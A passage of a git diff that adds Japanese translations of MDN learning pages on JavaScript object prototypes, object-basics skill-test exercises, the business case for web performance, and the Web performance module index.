の例に戻り、<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-further-exercises.html">ソースコード</a>のローカルコピーを作成します。既存の JavaScript の下に、コンストラクタの <code>prototype</code> プロパティに新しいメソッドを追加する次のコードを追加します + + <pre class="brush: js notranslate">Person.prototype.farewell = function() { + alert(this.name.first + ' has left the building. Bye for now!'); +};</pre> + </li> + <li>コードを保存してブラウザでページを読み込み、テキスト入力に以下のように入力してみてください + <pre class="brush: js notranslate">person1.farewell();</pre> + </li> +</ol> + +<p>コンストラクタ内で定義されている人の名前を特徴とする警告メッセージが表示されるはずです。これは本当に便利ですが、さらに便利なのは継承チェーン全体が動的に更新され、コンストラクタから派生したすべてのオブジェクトインスタンスでこの新しいメソッドが自動的に利用できるようになったことです。</p> + +<p>ちょっと考えてみましょう。このコードでは、コンストラクタを定義し、そのコンストラクタからインスタンスオブジェクトを作成し、コンストラクタのプロトタイプに新しいメソッドを追加しています。</p> + +<pre class="brush: js notranslate">function Person(first, last, age, gender, interests) { + + // プロパティおよびメソッドを定義する + +} + +let person1 = new Person('Tammi', 'Smith', 32, 'neutral', ['music', 'skiing', 'kickboxing']); + +Person.prototype.farewell = function() { + alert(this.name.first + ' has left the building. Bye for now!'); +};</pre> + +<p>しかし、<code>farewell()</code> メソッドは <code>person1</code> オブジェクトのインスタンスで利用可能です。そのメンバーは、新たに定義された <code>farewell()</code> メソッドを含むように自動的に更新されます。</p> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: 逆に、コンストラクタのプロトタイプに定義されたプロパティを <code><a href="/ja/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code> 演算子を使用して削除すると、他のすべてのクラスインスタンスからもそれぞれのプロパティが削除されます。</p> + +<p>上記の例では、<code>delete person1.__proto__.farewell</code> または <code>delete Person.prototype.farewell</code> を実行すると、すべての <code>Person</code> インスタンスから <code>farewell()</code> メソッドが削除されます。</p> + +<p>この問題を軽減するために、代わりに <code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty()</a></code> を使用することができます。</p> +</div> + +<div class="note"> +<p><strong>Note</strong>: この例がうまく動作しない場合は、<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-prototype.html">oojs-class-prototype.html</a> の例を見てください (<a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-prototype.html">ライブ</a>でも参照してください) 。</p> +</div> + +<p>このように定義されたプロパティは柔軟性に欠けるため、<code>prototype</code> プロパティで定義されることはほとんどありません。例えば、次のようなプロパティを追加することができます。</p> + +<pre class="brush: js notranslate">Person.prototype.fullName = 'Bob Smith';</pre> + +<p>これはその person がその名前で呼ばれていないかもしれないので、あまり柔軟性がありません。<code>name.first</code> と <code>name.last</code> から <code>fullName</code> を作成する方がずっと良いでしょう。</p> + +<pre class="brush: js notranslate">Person.prototype.fullName = this.name.first + ' ' + this.name.last;</pre> + +<p>しかし、これではうまくいきません。この場合、<code>this</code> は関数スコープではなくグローバルスコープを参照するからです。このプロパティを呼び出すと <code>undefined</code> を返します。これは、先ほどプロトタイプで定義したメソッドでは問題なく動作したのはそれがオブジェクトのインスタンススコープに正常に転送される関数スコープ内にあるためです。そのため、プロトタイプ上で不変の(つまりだれも変更する必要のない)プロパティを定義することもできますが、一般的にはコンストラクタ内でプロパティを定義する方がうまくいきます。</p> + +<p>実際、多くのオブジェクト定義でよく見られるパターンは、コンストラクタ内でプロパティを定義し、プロトタイプ上でメソッドを定義することです。これにより、コンストラクタにはプロパティの定義のみが含まれ、メソッドは別のブロックに分割されるため、コードが読みやすくなります。例えば、以下のようになります。</p> + +<pre class="brush: js notranslate">// Constructor with property definitions + +function Test(a, b, c, d) { + // プロパティ定義 +} + +// 最初のメソッド定義 + +Test.prototype.x = function() { ... }; + +// 第二のメソッド定義 + +Test.prototype.y = function() { ... }; + +// など</pre> + +<p>このパターンは、Piotr Zalewa 氏の<a href="https://github.com/zalun/school-plan-app/blob/master/stage9/js/index.js">学校計画のアプリ</a>の例で実際に見られます。</p> + +<h2 id="あなたのスキルをテストしてみましょう!">あなたのスキルをテストしてみましょう!</h2> + +<p>この記事はここまでですが、最も重要な情報を覚えていますか？先に進む前に、この情報を保持しているかどうかを確認するために、さらにいくつかのテストを見つけることができます。<a href="/ja/docs/Learn/JavaScript/Objects/Test_your_skills:_Object-oriented_JavaScript">あなたのスキルをテストする: オブジェクト指向 JavaScript</a> を参照してください。</p> + +<p>この一連のテストは次の記事で紹介する知識に依存していることに注意してください。なので、試してみる前に、まずそれを読んでみるといいかもしれません。</p> + +<h2 id="まとめ">まとめ</h2> + +<p>この記事では、プロトタイプオブジェクトチェーンによってオブジェクトが互いに機能を継承する方法、プロトタイププロパティとそれを使ってコンストラクタにメソッドを追加する方法など、JavaScript オブジェクトのプロトタイプを取り上げてきました。</p> + +<p>次の記事では、2つのカスタムオブジェクト間で機能の継承を実装する方法を見ていきます。</p> + +<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Basics">JavaScript オブジェクトの基本</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object-oriented_JS">初心者のためのオブジェクト指向 JavaScript</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object_prototypes">Object のプロトタイプ</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Inheritance">JavaScript での継承</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/JSON">JSON データの操作</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object_building_practice">オブジェクト作成の練習</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">バウンスボールに機能を追加する</a></li> +</ul> diff --git a/files/ja/learn/javascript/objects/test_your_skills_colon__object_basics/index.html b/files/ja/learn/javascript/objects/test_your_skills_colon__object_basics/index.html new file mode 100644 index 0000000000..d284729df3 --- /dev/null +++ b/files/ja/learn/javascript/objects/test_your_skills_colon__object_basics/index.html @@ -0,0 +1,101 @@ +--- +title: 'スキルテスト: オブジェクトの基本' +slug: 'Learn/JavaScript/Objects/Test_your_skills:_Object_basics' +translation_of: 'Learn/JavaScript/Objects/Test_your_skills:_Object_basics' +--- +<div>{{learnsidebar}}</div> + +<p>このスキルテストの目的は、<a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/Objects/Basics">JavaScript オブジェクトの基本</a>の理解度をテストすることです。</p> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: 以下のインタラクティブなエディターでソリューションを試すこともできますが、コードをダウンロードし、<a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>や<a href="https://glitch.com/">Glitch</a>のようなオンラインツールを使用してタスクを実行すると役立つ場合があります。<br> + <br> + 行き詰まった場合は、助けを求めてください — このページの下部にある評価またはさらなる支援セクションを参照してください。</p> +</div> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: 以下の例では、コードにエラーがある場合、ページの結果パネルに出力され、答えを見つけ出すのに役立ちます（ダウンロード可能なバージョンの場合は、ブラウザーのJavaScriptコンソールに）</p> +</div> + +<h2 id="オブジェクトの基本_1">オブジェクトの基本 1</h2> + +<p>このタスクでは、オブジェクトリテラルが与えられます。あなたのタスクは下記です。</p> + +<ul> + <li><code>catName</code>変数に、<strong>角括弧記法</strong>を用いて、<code>name</code>プロパティの値を保存する</li> + <li><strong>ドット記法</strong>を用いて、<code>greeting()</code>メソッドを使う</li> + <li><code>color</code>プロパティを<code>black</code>に変更する</li> +</ul> + +<p>以下のライブコードを更新して、完成した例を再現してみてください。</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/oojs/tasks/object-basics/object-basics1.html", '100%', 400)}}</p> + +<div class="blockIndicator note"> +<p><a href="https://github.com/mdn/learning-area/tree/master/javascript/oojs/tasks/object-basics/object-basics1-download.html">このタスクの開始点をダウンロード</a>して、お好きなエディターまたはオンライン・エディターで作業してください。</p> +</div> + +<h2 id="オブジェクトの基本_2">オブジェクトの基本 2</h2> + +<p>次のタスクでは、お気に入りのバンドの1つを表す、自分だけのオブジェクトリテラルを作成してみましょう。必要な要素は次のとおりです。</p> + +<ul> + <li><code>name</code>: バンドの名前を表す文字列</li> + <li><code>nationality</code>: バンドの出身国を表す文字列</li> + <li><code>genre</code>: バンドが演奏する音楽の種類</li> + <li><code>members</code>: バンドのメンバー数を表す数字</li> + <li><code>formed</code>: バンドが結成した年を表す数字</li> + <li><code>split</code>: バンドが解散した年を表す数字、まだ活動している場合は<code>false</code></li> + <li><code>albums</code>: そのバンドによってリリースされたアルバムを表す配列。それぞれの配列の要素は、下記の要素を含んだオブジェクトであること + <ul> + <li><code>name</code>: アルバムの名前を表す文字列</li> + <li><code>released</code>: リリースされた年を表す数字</li> + </ul> + </li> +</ul> + +<p><code>albums</code> 配列には、少なくとも2つのアルバムを含めること。</p> + +<p>これが終わったら、変数<code>bandInfo</code>に、名前、国籍、活動年数、スタイル、最初のアルバムのタイトルと発売日などの少しの詳細を書き込みます。</p> + +<p><span style="">以下のライブコードを更新して、完成した例を再現してみてください。</span></p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/oojs/tasks/object-basics/object-basics2.html", '100%', 400)}}</p> + +<div class="blockIndicator note"> +<p><a href="https://github.com/mdn/learning-area/tree/master/javascript/oojs/tasks/object-basics/object-basics1-download.html">このタスクの開始点をダウンロード</a>して、お好きなエディターまたはオンライン・エディターで作業してください。</p> +</div> + +<h2 id="オブジェクトの基本_3">オブジェクトの基本 3</h2> + +<p>最後に、「オブジェクトの基本」のまとめとして、タスク＃1の<code>cat</code>オブジェクトリテラルに戻りましょう。 「<code>Hello, said Bertie the Cymric.</code>」と記録されるように、<code>greeting（）</code>メソッドを書き直してください。 ブラウザのDevToolsのコンソールにアクセスしますが、名前や品種に関係なく、同じ構造のすべての<code>cat</code>オブジェクトで機能します。</p> + +<p>完了したら、<code>cat2</code>という独自のオブジェクトを作成します。このオブジェクトは、同じ構造、まったく同じ<code>greeting（）</code>メソッドを持ちますが、名前、品種、色が異なります。</p> + +<p>両方の<code>greeting（）</code>メソッドを呼び出して、適切なあいさつ（greeting）がコンソールに記録されることを確認します。</p> + +<p>コードはあまり<a href="https://en.wikipedia.org/wiki/Don%27t_repeat_yourself">DRY</a>ではありません（それぞれは1回だけ定義すること）—たとえば、同じメソッドを2回定義しています。 どうすればもっとDRYにすることができますか？ よくわからない場合でも、心配しないでください。これは、シリーズの今後の記事で取り上げる予定です。</p> + +<p>以下のライブコードを更新して、完成した例を再現してみてください。</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/oojs/tasks/object-basics/object-basics3.html", '100%', 400)}}</p> + +<div class="blockIndicator note"> +<p><a href="https://github.com/mdn/learning-area/tree/master/javascript/oojs/tasks/object-basics/object-basics1-download.html">このタスクの開始点をダウンロード</a>して、お好きなエディターまたはオンライン・エディターで作業してください。</p> +</div> + +<h2 id="まとめとヘルプ">まとめとヘルプ</h2> + +<p>自分のコードの評価が欲しい、または行き詰まって助けを求めたい場合：</p> + +<ol> + <li>CodePen、jsFiddle、Glitchなどのオンライン共有可能なエディターで作業をします。コードを自分で作成することも、上記のセクションでリンクされているスターティングポイントファイルを使用することもできます。</li> + <li><a href="https://discourse.mozilla.org/c/mdn/learn/250">MDNDiscourseフォーラムの学習カテゴリ</a>で評価や支援を求める投稿を書いてください。投稿には次のものを含める必要があります。</li> +</ol> + +<ul> + <li>「オブジェクトの基本1 の スキルテスト を行ったので評価して欲しい」などの説明的なタイトル。</li> + <li>あなたがすでに試したことの詳細、そしてあなたが私たちに何をしてほしいか、例えば行き詰まって助けが必要な場合、または評価が必要な場合。</li> + <li>オンラインの共有可能なエディターで、評価したい、または支援が必要な例へのリンク（上記のステップ1で説明）。これは入門するのに良い習慣です—あなたが彼らのコードを見ることができないならば、コーディング問題で誰かを助けることは非常に難しいです。</li> + <li>実際のタスクまたは評価ページへのリンク。サポートが必要な質問を見つけることができます。</li> +</ul> diff --git a/files/ja/learn/performance/business_case_for_performance/index.html b/files/ja/learn/performance/business_case_for_performance/index.html new file mode 100644 index 0000000000..106a517a8f --- /dev/null +++ b/files/ja/learn/performance/business_case_for_performance/index.html @@ -0,0 +1,83 @@ +--- +title: ウェブパフォーマンスのビジネスケース +slug: Learn/Performance/business_case_for_performance +tags: + - Web パフォーマンス + - Web 開発 +translation_of: Learn/Performance/business_case_for_performance +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/Performance/Mobile", "Learn/Performance")}}</div> + +<p>{{draft}}</p> + +<p>ここまで、ウェブパフォーマンスの重要性についてお話してきました。ウェブパフォーマンスを最適化するために何をすべきかを学びました。しかし、クライアントや経営陣にパフォーマンスに優先順位をつけて投資するように説得するにはどうすればよいのでしょうか？このセクションでは、意思決定者に投資をするように説得するための明確なビジネスケースの作成について説明します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>コンピュータリテラシーの基礎、<a href="/ja/docs/Learn/Getting_started_with_the_web">クライアントサイドのウェブ技術</a>の基礎知識、<a href="/ja/docs/Web/Performance">ウェブパフォーマンス最適化</a>の基礎知識。</td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>クライアントや経営者に ウェブパフォーマンスを優先してもらい、自信を持って仕事ができるようになること。</td> + </tr> + </tbody> +</table> + +<h2 id="パフォーマンスを経営の最優先事項にする">パフォーマンスを経営の最優先事項にする</h2> + +<p>これまで、パフォーマンスに優先順位をつけることで、ユーザー体験を向上させ、その結果として収益を上げる方法について説明してきました。ウェブパフォーマンスを優先させないと、ビジネスの収益を失う可能性があることを知っています。この記事では、特定のビジネス指標がユーザーのウェブパフォーマンス体験にどのように直接関係しているか、ウェブパフォーマンスのユーザー体験を向上させるためにサービス設計を適用する方法について説明しています。また、累積的な経験がコンバージョン率やリテンション率にどのように影響するかを理解することの重要性を強調しています。</p> + +<dl> +</dl> + +<h3 id="パフォーマンス予算">パフォーマンス予算</h3> + +<p>ウェブパフォーマンス予算を設定することで、チームがサイトを維持するための軌道に乗っているかどうかを確認し、回帰を防ぐのに役立ちます。パフォーマンスバジェットとは、維持しなければならない最大の http リクエスト数、すべてのアセットを合わせた最大の合計サイズ、特定のデバイスでの最小許容 FPS などの制限を指定するために設定される制限のセットです。予算は、単一のファイル、ファイルタイプ、ページに読み込まれたすべてのファイル、特定のメトリック、または一定期間のしきい値に適用することができます。</p> + +<p>予算を定義して推進することで、マーケティング、セールス、さらにはビデオやサードパーティスクリプト、フレームワークを追加したいと考えている他の開発者など、競合する利害関係者に対抗して、優れたユーザーエクスペリエンスを提供するためのパフォーマンス推進者を支援することができます。<a href="/ja/docs/Web/Performance/Performance_budgets">パフォーマンス予算</a>は、開発者チームがユーザーのために最適なパフォーマンスを保護し、ビジネスが新しい市場に参入してカスタム体験を提供できるようにするのに役立ちます。</p> + +<h3 id="key_performance_indicators"><strong>k</strong>ey <strong>p</strong>erformance <strong>i</strong>ndicators</h3> + +<p>目標として主要業績評価指標（KPI）を設定することで、ビジネスの目標でもある業績目標を明確にすることができます。KPIは、ユーザーエクスペリエンスとパフォーマンスがビジネスのトップラインに与える影響を測定する上で重要なビジネスメトリクスのセットであると同時に、パフォーマンスに優先順位をつけることのメリットを示す方法でもあります。ここでは、検討すべき KPI をいくつか紹介します。</p> + +<dl> + <dt><strong>コンバージョン率 (CR)</strong></dt> + <dd>購入の完了やニュースレターへの登録など、意図した行動をとったトラフィックの割合。ビジネスサイトの表示速度が遅いと、ユーザーが意図したタスクを完了できないことがあります。これは、コンバージョン率の低下につながる可能性があります。</dd> + <dt><strong>Time on Site</strong></dt> + <dd>集計したユーザーがサイトに費やす平均時間。サイトのパフォーマンスが低下すると、ユーザーはサイトを早期に放棄する可能性が高くなり、サイトのメトリクスにかかる時間が短くなる可能性があります。</dd> + <dt><strong>ネットプロモーションスコア (NPS)</strong></dt> + <dd>ネットプロモーションスコア (NPS) は、企業のブランド、製品、サービスに対する顧客の忠誠心を評価するための指標です。ユーザーのパフォーマンスが悪いと、ブランドの評判が悪くなります。</dd> +</dl> + +<p>KPI としてコンバージョン率、サイト上の時間、および/またはネットプロモーションのスコアを設定すると、ウェブパフォーマンスの努力に財務および他のビジネス目標の価値を与え、努力の価値を証明するためのメトリクスを使用して、購入を後押しするのに役立ちます。</p> + +<div class="hidden"> +<h2 id="パフォーマンスにおける期待と現実">パフォーマンスにおける期待と現実</h2> + +<p>ビジネスパフォーマンス (収益や運用などで) は、ウェブパフォーマンスをどうするかに直結します。(ソースが必要)</p> + +<p>競合の領域 - ウェブパフォーマンスを優先しないが、良いビジネスメトリクスを期待する (上記の3つを参照)。</p> +</div> + +<div>{{PreviousMenu("Learn/Performance/Mobile", "Learn/Performance")}}</div> + +<h2 id="このモジュール">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/Performance/why_web_performance">ウェブパフォーマンスの "なぜ"</a></li> + <li><a href="/ja/docs/Learn/Performance/What_is_web_performance">ウェブパフォーマンスとは何ですか？</a></li> + <li><a href="/ja/docs/Learn/Performance/Perceived_performance">ユーザーはパフォーマンスをどのように知覚しますか？</a></li> + <li><a href="/ja/docs/Learn/Performance/Measuring_performance">パフォーマンスの測定</a></li> + <li><a href="/en-US/docs/Learn/Performance/Multimedia">Multimedia: images</a></li> + <li><a href="/en-US/docs/Learn/Performance/video">Multimedia: video</a></li> + <li><a href="/en-US/docs/Learn/Performance/JavaScript">JavaScript performance best practices</a>.</li> + <li><a href="/en-US/docs/Learn/Performance/HTML">HTML performance features</a></li> + <li><a href="/en-US/docs/Learn/Performance/CSS">CSS performance features</a></li> + <li><a href="/en-US/docs/Learn/Performance/Fonts">Fonts and performance</a></li> + <li><a href="/en-US/docs/Learn/Performance/Mobile">Mobile performance</a></li> + <li><a href="/ja/docs/Learn/Performance/business_case_for_performance">パフォーマンスに光をあてる</a></li> +</ul> diff --git a/files/ja/learn/performance/index.html b/files/ja/learn/performance/index.html new file mode 100644 index 0000000000..070c09f1f1 --- /dev/null +++ b/files/ja/learn/performance/index.html @@ -0,0 +1,120 @@ +--- +title: Web パフォーマンス +slug: Learn/Performance +translation_of: Learn/Performance +--- +<p>{{LearnSidebar}}{{draft}}</p> + +<p class="summary">Web サイトを構築するには、HTML、CSS、および JavaScript が必要です。人々が使用したい Web サイトやアプリケーションを構築し、ユーザを引き付けて維持するには、優れたユーザエクスペリエンスを作成する必要があります。良好なユーザエクスペリエンスの一部は、コンテンツの読み込みが迅速であり、ユーザの操作に反応することを保証することです。これは Web パフォーマンスと呼ばれ、このモジュールではパフォーマンスのよい Web サイトを構築するために必要なすべてを学習します。</p> + +<p>Webパフォーマンスとは、客観的な測定値であり、ロード時間と実行時間に関するユーザーエクスペリエンスの評価です。 Webパフォーマンスとは、サイトがロードされて対話型で応答するまでにかかる時間、およびユーザーとの対話中のコンテンツの滑らかさです。スクロールはスムーズですか？ボタンはクリック可能ですか？ポップアップはすばやく開くことができますか？また、ポップアップはスムーズにアニメーション化されますか？ Webパフォーマンスには、ロードにかかる時間、1秒あたりのフレーム数、インタラクティブにかかる時間などの客観的な測定値と、コンテンツのロードにかかったと感じる時間の主観的な経験値の両方が含まれます。<br> + <br> + レイテンシ、アプリケーションサイズ、DOMノードの数、行われたリソースリクエストの数、JavaScriptのパフォーマンス、CPU負荷など、多くの機能がパフォーマンスに影響を与えます。ロードと応答時間を最小限に抑え、エクスペリエンスを可能な限り早くインタラクティブにできるようにすることで、レイテンシーを隠すための追加機能を追加し、エクスペリエンスの長いテール部分で非同期的にロードすることが重要です。<br> + <br> + Webパフォーマンスの測定と改善に役立つツール、API、およびベストプラクティスがあります。これらもこのモジュールの過程で見ていきます。</p> + +<h2 id="学習経路">学習経路</h2> + +<p>Webパフォーマンスの改善に関する多くの推奨事項を実装するにはHTML、CSS、およびJavaScriptを知っている必要がありますが、アプリケーションの構築方法を知っていることはWebパフォーマンスを理解および測定するための必須条件ではありません。<br> + <br> + 以下の導入モジュールのいくつかはプログラミングの知識を必要としませんが、HTMLおよびパフォーマンスモジュールにはHTMLの理解が必要であり、CSSおよびパフォーマンスモジュールにはCSSの理解が必要です。導入モジュールを使用することをお勧めします。まず、最初に「<a href="/ja/docs/">Webパフォーマンスとは何か</a>」から始めます。入門モジュールは、Webパフォーマンスの概要を提供します。最初の3つは、開発者であろうとプロジェクトマネージャーであろうと読む必要があると考えるべきです。技術トピックに焦点を当てたモジュールは、これらの技術を使用する開発者により適しています。<br> + <br> + 高度なモジュールでは、入門モジュールで概要を説明したトピックをさらに深く掘り下げ、パフォーマンスAPI、テストおよび分析ツール、パフォーマンスのボトルネックの概要を提供します。<br> + <br> + このトピックに進む前に、「<a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Getting_started_with_the_web">Web入門</a>」を完了することをお勧めします。ただし、そうすることは必ずしも必要ではありません。</p> + +<h2 id="Introductory_modules">Introductory modules</h2> + +<p>このトピックには、次のモジュールが含まれています。必ず最初のものから始めてください。</p> + +<dl> + <dt>Webパフォーマンスとは何ですか？</dt> + <dd>この記事では、実際のパフォーマンスとは何かを詳しく説明することから始めます。これには、パフォーマンスを考える際に考慮する必要があるツール、メトリック、API、ネットワーク、人々のグループ、およびパフォーマンスをWeb開発ワークフローの一部にする方法が含まれます。</dd> + <dt>ユーザーはパフォーマンスをどのように知覚しますか？</dt> + <dd>ミリ秒単位のWebサイトの速度よりも重要なのは、ユーザーがサイトを認識する速度です。これらの認識は、実際のページの読み込み時間、アイドリング、ユーザーインタラクションへの応答性、スクロールやその他のアニメーションの滑らかさの影響を受けます。この記事では、実際のタイミングではなくても、ユーザーの認識を改善するためのベストプラクティスとともに、さまざまな読み込みメトリック、アニメーション、応答性メトリックについて説明します。</dd> + <dt>Webパフォーマンスの基本</dt> + <dd> + <p>HTML、CSS、JavaScript、およびメディアファイルのフロントエンドコンポーネントに加えて、アプリケーションを遅くできる機能と、アプリケーションを主観的および客観的に高速化できる機能があります。 Webパフォーマンスに関連する多くのAPI、開発者ツール、ベストプラクティス、および悪いプラクティスがあります。ここでは、これらの機能の多くを基本レベルで紹介し、各トピックのパフォーマンスを改善するためのより深いダイブへのリンクを提供します。</p> + </dd> + <dt>HTMLパフォーマンス機能</dt> + <dd> + <p>一部の属性とマークアップのソースの順序は、パフォーマンスまたはWebサイトに影響を与える可能性があります。 DOMノードの数を最小限に抑え、スタイル、スクリプト、メディア、サードパーティスクリプトなどのコンテンツを含めるために最適な順序と属性が使用されるようにすることで、ユーザーエクスペリエンスを大幅に改善できます。この記事では、パフォーマンスを最大限に高めるためにHTMLを使用する方法について詳しく説明します。</p> + </dd> + <dt>マルチメディア：画像とビデオ</dt> + <dd> + <p>多くの場合、Webパフォーマンスの最も低い成果はメディアの最適化です。各ユーザーエージェントの機能、サイズ、ピクセル密度に基づいて異なるメディアファイルを提供することが可能です。バックグラウンドビデオからオーディオトラックを削除するなどの追加のヒントは、パフォーマンスをさらに向上させることができます。この記事では、ビデオ、オーディオ、画像のコンテンツがパフォーマンスに与える影響と、その影響を最小限に抑える方法について説明します。</p> + </dd> + <dt>レスポンシブ画像</dt> + <dd> + <p>画像を最適化することは、高性能なメディアリッチユーザーエクスペリエンスに不可欠ですが、画像をダウンロードするデバイスに合わせて適切なサイズにすることは特に重要です。この記事では、効率的な画像配信における<picture>要素やsrcset属性などのネイティブブラウザー機能の役割と、それらを自信を持って使用する方法について説明します。</p> + </dd> + <dt><a href="/en-US/docs/Performance/Profiling_with_the_Built-in_Profiler">組み込みのプロファイラーを使用したプロファイリング</a></dt> + <dd>Firefoxの組み込みプロファイラーでアプリのパフォーマンスをプロファイリングする方法を学びます。</dd> + <dt>代替メディア形式</dt> + <dd>画像やビデオに関しては、おそらくあなたが知っているよりも多くのフォーマットがあります。これらの形式の中には、ファイルサイズをさらに削減することにより、高度に最適化されたメディアリッチページをさらに活用できるものがあります。このガイドでは、いくつかの代替メディア形式、サポートされていないブラウザが寒さの中に置き去りにされないように責任を持って使用する方法、および既存のアセットをトランスコードするための高度なガイダンスについて説明します。</dd> + <dt>CSSパフォーマンス機能</dt> + <dd>CSSは、パフォーマンスを向上させるためにそれほど重要ではない最適化の焦点となる場合がありますが、他のCSSよりもパフォーマンスに影響を与えるCSS機能がいくつかあります。この記事では、パフォーマンスに影響を与えるいくつかのCSSプロパティを検討し、パフォーマンスが悪影響を受けないようにスタイルを処理する方法を提案しました。</dd> + <dt>JavaScriptパフォーマンスのベストプラクティス</dt> + <dd> + <p>JavaScriptを適切に使用すると、インタラクティブで没入型のWebエクスペリエンスを実現できます。または、ダウンロード時間、レンダリング時間、アプリ内パフォーマンス、バッテリー寿命、ユーザーエクスペリエンスに大きな悪影響を与える可能性があります。この記事では、複雑なコンテンツであっても可能な限りパフォーマンスを高めるために考慮すべきJavaScriptのベストプラクティスの概要を説明します。</p> + </dd> + <dt>Webフォントのパフォーマンス</dt> + <dd> + <p>パフォーマンスのランドスケープで見落とされることが多いのは、Webフォントです。 WebフォントはWebデザインにおいてこれまで以上に目立っていますが、多くの開発者は単にサードパーティのサービスからフォントを埋め込み、それについて何も考えていません。この記事では、効率的なファイル形式とサブ設定を使用して、フォントファイルをできるだけ小さくする方法について説明します。そこから、ブラウザのテキストのしくみ、CSSとJavaScriptの機能を使用してフォントをすばやくレンダリングし、ユーザーエクスペリエンスの中断を最小限に抑える方法について説明します。</p> + </dd> + <dt>モバイル性能</dt> + <dd> + <p>モバイルデバイスでのWebアクセスは非常に人気があり、すべてのモバイルプラットフォームは本格的なWebブラウザーを備えていますが、帯域幅、CPU、およびバッテリーの寿命が制限されている可能性があるため、これらのプラットフォームでのWebコンテンツのパフォーマンスを考慮することが重要です。この記事では、モバイル固有のパフォーマンスに関する考慮事項について説明します。</p> + </dd> +</dl> + + + +<h2 id="Advanced_Modules">Advanced Modules</h2> + +<dl> + <dt>Populating the page</dt> + <dd>HTTPリクエストが行われ、可能なら、数秒後にサイトが表示されます。コンテンツを表示するには、JavaScriptを実行し、DOMを変更し、スタイルを計算し、レイアウトを計算し、最後にコンテンツをレンダリングします。これには、ペイントと合成が含まれ、GPUアクセラレーションが別のスレッドに含まれます。</dd> + <dt>パフォーマンスのボトルネック</dt> + <dd></dd> + <dt>レイテンシを理解する</dt> + <dd> + <p>レイテンシとは、ブラウザーがリソースを要求してから、ブラウザーが要求されたリソースの最初のバイトを受信するまでにかかる時間です。この記事では、レイテンシとは何か、それがパフォーマンスに与える影響、レイテンシを測定および改善する方法について説明します。</p> + </dd> + <dt>帯域幅について</dt> + <dd> + <p>帯域幅は、1秒間に送信できるデータの量（MbpsまたはKbpsで測定）です。この記事では、メディアリッチインターネットアプリケーションにおける帯域幅の役割、測定方法、利用可能な帯域幅を最大限に活用するためにアプリケーションを最適化する方法について説明します。</p> + </dd> + <dt>HTTP / 2とあなた</dt> + <dd> + <p>トランスポート層（つまりHTTP）はWebの機能に不可欠であり、HTTP / 2の形で大きな更新が行われたのは比較的最近になってからです。すぐに使用できるHTTP / 2は、以前のバージョンよりも多くのパフォーマンスの改善と利点を提供しますが、状況を変えます。この記事では、HTTP / 2が何をするのか、そしてアプリケーションをさらに微調整してさらに前進させる方法を学びます。</p> + </dd> + <dt>パフォーマンスにおけるTLSの役割</dt> + <dd> + <p>TLS（またはHTTPSと呼ばれる傾向がある）は、安全で安全なユーザーエクスペリエンスを作成するために重要です。ハードウェアはTLSがサーバーのパフォーマンスに与える悪影響を軽減しましたが、ブラウザーがサーバーに接続するのを待つ時間のかなりの部分を占めています。この記事では、TLSハンドシェイクプロセスについて説明し、OCSPステープリング、HSTSプリロードヘッダー、サードパーティのTLSレイテンシをマスクするリソースヒントの潜在的な役割など、この時間を短縮するためのヒントを提供します。</p> + </dd> + <dt><a href="/en-US/docs/Performance/Profiling_with_the_Built-in_Profiler">組み込みのプロファイラーを使用したプロファイリング</a></dt> + <dd>Firefoxの組み込みプロファイラーでアプリのパフォーマンスをプロファイリングする方法を学びます。</dd> + <dt>パフォーマンスチャートを読む</dt> + <dd>開発者ツールは、パフォーマンス、メモリ、およびネットワーク要求に関する情報を提供します。ブラウザ開発ツールのウォーターフォールチャート、コールツリー、トレース、フレームチャート、および割り当ての読み方を知っていると、他のパフォーマンスツールのウォーターフォールチャートとフレームチャートを理解するのに役立ちます。</dd> + <dt><a href="/en-US/Apps/Build/Performance/CSS_JavaScript_animation_performance">CSSおよびJavaScriptアニメーションのパフォーマンス</a></dt> + <dd>アニメーションは、楽しいユーザーエクスペリエンスにとって重要です。この記事では、CSSとJavaScriptベースのアニメーションのパフォーマンスの違いについて説明します。</dd> + <dt>JavaScriptバンドルの分析</dt> + <dd>間違いなく、JavaScriptは現代のWeb開発の大きな部分を占めています。アプリケーションで使用するJavaScriptの量を減らすよう常に努力する必要がありますが、どこから始めればよいかを知ることは困難です。このガイドでは、アプリケーションのスクリプトバンドルを分析し、使用しているものを把握する方法と、アプリのバンドル間でスクリプトが重複しているかどうかを検出する方法を示します。</dd> + <dt>動的インポートを使用したJavaScriptのLazy-load</dt> + <dd>開発者は「lazy loading」という用語を聞くと、ビューポートにスクロールするときに読み込まれるスクロールせずに見える画像をすぐに思い浮かべます。しかし、JavaScriptもlazy loadできることを知っていましたか？このガイドでは、動的import（）ステートメントについて説明します。これは、JavaScriptモジュールをオンデマンドでロードする最新のブラウザーの機能です。もちろん、この機能はどこでも利用できるわけではないため、この機能を広く互換性のある方法で使用するようにツールを構成する方法も示します。</dd> 